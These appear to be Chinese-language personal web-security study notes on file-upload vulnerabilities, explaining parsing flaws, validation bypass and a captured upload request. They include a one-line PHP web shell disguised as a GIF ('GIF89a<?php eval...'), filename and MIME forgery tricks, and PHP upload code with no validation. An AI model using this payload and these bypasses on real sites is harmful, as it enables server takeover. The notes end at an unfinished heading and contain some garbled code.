小迪web自用笔记47

文件上传

第1句话的意思就是，如果你在JPG文件中写入了后门代码，如果正常的话它是解析不了的（执行不了，你网站上发图片就给你图片解析，图片解析怎么可能解析执行PHP？）也连接不了。除非有解析漏洞（把图片格式解析成脚本格式执行）。

这句话的核心原理是对的，但表述可以更严谨。

结论：原理正确，但表述需更严谨

分析：

正常情况：

JPG是图片文件，由图片解析器（如浏览器的图片渲染引擎、服务器的图片处理模块）处理；PHP是脚本文件，由PHP解释器执行。两者解析逻辑完全独立，因此正常配置的服务器不会执行JPG文件中的PHP代码，即使文件内含PHP代码，也只会被当作图片二进制数据处理（无法解析执行）。

漏洞场景：

若服务器存在解析漏洞（如：

早期IIS的"分号截断"漏洞（ *.asp;*.jpg 被当作ASP执行）；
Apache通过 .htaccess 错误配置（如 AddType application/x-httpd-php .jpg ，强制将JPG按PHP解析）；
路径解析漏洞（如 /shell.jpg/%20/../shell.php 被当作PHP执行）等），则JPG文件可能被错误识别为脚本文件，从而执行其中的PHP代码。

表述优化建议：

原句中"图片解析怎么可能解析执行PHP？"的反问逻辑成立，但需补充"服务器配置错误或存在中间件漏洞时，可能突破这种隔离"，否则易让人误解"所有场景下都绝对安全"（实际漏洞场景需明确）。

总结：

从"正常解析逻辑下无法执行、漏洞场景下可执行"的核心原理看，这句话是对的；但为了严谨性，建议补充漏洞的"服务器配置/中间件缺陷"前提，否则可能忽略"解析漏洞的存在场景"这一关键条件。

第2个的话，攻击者看看能不能发送后门的文件到网站上（不过现在一般有过滤，比如说内容与文件后缀过滤）。

也得看它存放图片的逻辑是什么？存放在哪个地方？怎么存放的。

文件上传漏洞容易出现的原因在于它有很多方面造成问题，比如版本问题，第三方的问题等等，以及你程序的问题。

例子1：（后端无验证）

首先看是前端验证还是后端验证，如果是前端验证的话可以改改代码应该（前提是后端没有加验证）

首先先抓个包看看他有没有包。

如果是前端验证的话，可以直接前端改代码，或者是在发包的时候直接给他格式。

然后直接连接。

要理解远程文件上传的原理（即后端如何通过 HTTP 请求接收文件），需从 HTTP 请求结构、Web 服务器解析、后端应用处理三个环节拆解，结合你提供的图片场景（Burp Suite 抓包的文件上传请求）详细分析：

一、HTTP 请求： multipart/form-data 格式

文件上传的核心是客户端通过 POST 请求，以 multipart/form-data 格式发送文件数据。这种格式的关键特点是：

使用 boundary （边界符，如图片中的 252442534324209 ）分割不同的表单字段；
每个文件字段包含 Content-Disposition （指定表单名 name 和文件名 filename ）、 Content-Type （文件 MIME 类型），以及文件的二进制内容。

以你提供的请求为例：

http

POST / HTTP/1.1

Host: 47.94.236.117:30001

Content-Type: multipart/form-data; boundary=252442534324209

--252442534324209

Content-Disposition: form-data; name="file"; filename="1.php"

Content-Type: image/jpeg

GIF89a<?php eval($_POST['pass']);?>

--252442534324209

Content-Disposition: form-data; name="submit"

Upload

--252442534324209--

name="file" ：表单中用于上传文件的字段名；
filename="1.php" ：客户端选择的文件名（攻击者可能伪造文件名来绕过验证）；
Content-Type: image/jpeg ：客户端声明的文件类型（攻击者可能伪造 MIME 类型）；
文件内容： GIF89a<?php eval($_POST['pass']);?> （这是典型的"图片马"------表面是 GIF 图片，实际包含 PHP 后门代码）。

二、Web 服务器：解析请求并保存临时文件

当 Web 服务器（如 Apache、Nginx）接收到 multipart/form-data 的请求时，会执行以下操作：

解析 boundary ：根据 Content-Type 中的 boundary 分割请求体，识别每个表单字段。
提取文件数据：对于文件字段（ name="file" ），服务器会读取 filename 、 Content-Type 和二进制内容。
保存临时文件：将文件内容写入服务器的临时目录（如 PHP 的 /tmp 目录），并生成一个临时文件名（如 phpXXXXXX ）。

此时，服务器仅完成"文件数据的接收与临时存储"，尚未交给后端应用处理。

三、后端应用：处理上传文件（以 PHP 为例）

后端应用（如 PHP 脚本）通过编程语言提供的文件上传接口获取并处理文件。以 PHP 为例，核心逻辑是：

读取上传信息

PHP 通过 $_FILES 超全局数组存储上传文件的元信息，结构如下：

php

$_FILES['file'] = [

'name' => '1.php', // 客户端原始文件名

'type' => 'image/jpeg', // 客户端声明的 MIME 类型

'tmp_name' => '/tmp/phpXXXXXX', // 服务器临时文件路径

'error' => 0, // 错误码（0 表示成功）

'size' => 27 // 文件大小（字节）

];

移动/处理文件

后端脚本通常会调用 move_uploaded_file() 将临时文件移动到目标目录（如 upload/1.php ），完成上传：

php

$target_path = 'upload/' .$ _FILES['file']['name'];

move_uploaded_file( $_FILES\['file'\]\['tmp_name'\],$ target_path);

安全风险（图片场景的关键）

如果后端未对文件进行严格验证（如：

仅校验 Content-Type 或文件名，未检查文件真实内容；
允许上传到可执行目录，且服务器存在文件解析漏洞------如将 1.php 当作 PHP 执行，即使它伪装成图片），攻击者就能上传恶意脚本（如图片中的 GIF89a<?php eval($_POST['pass']);?> ），并通过访问该文件触发代码执行。

四、总结：远程文件上传的完整流程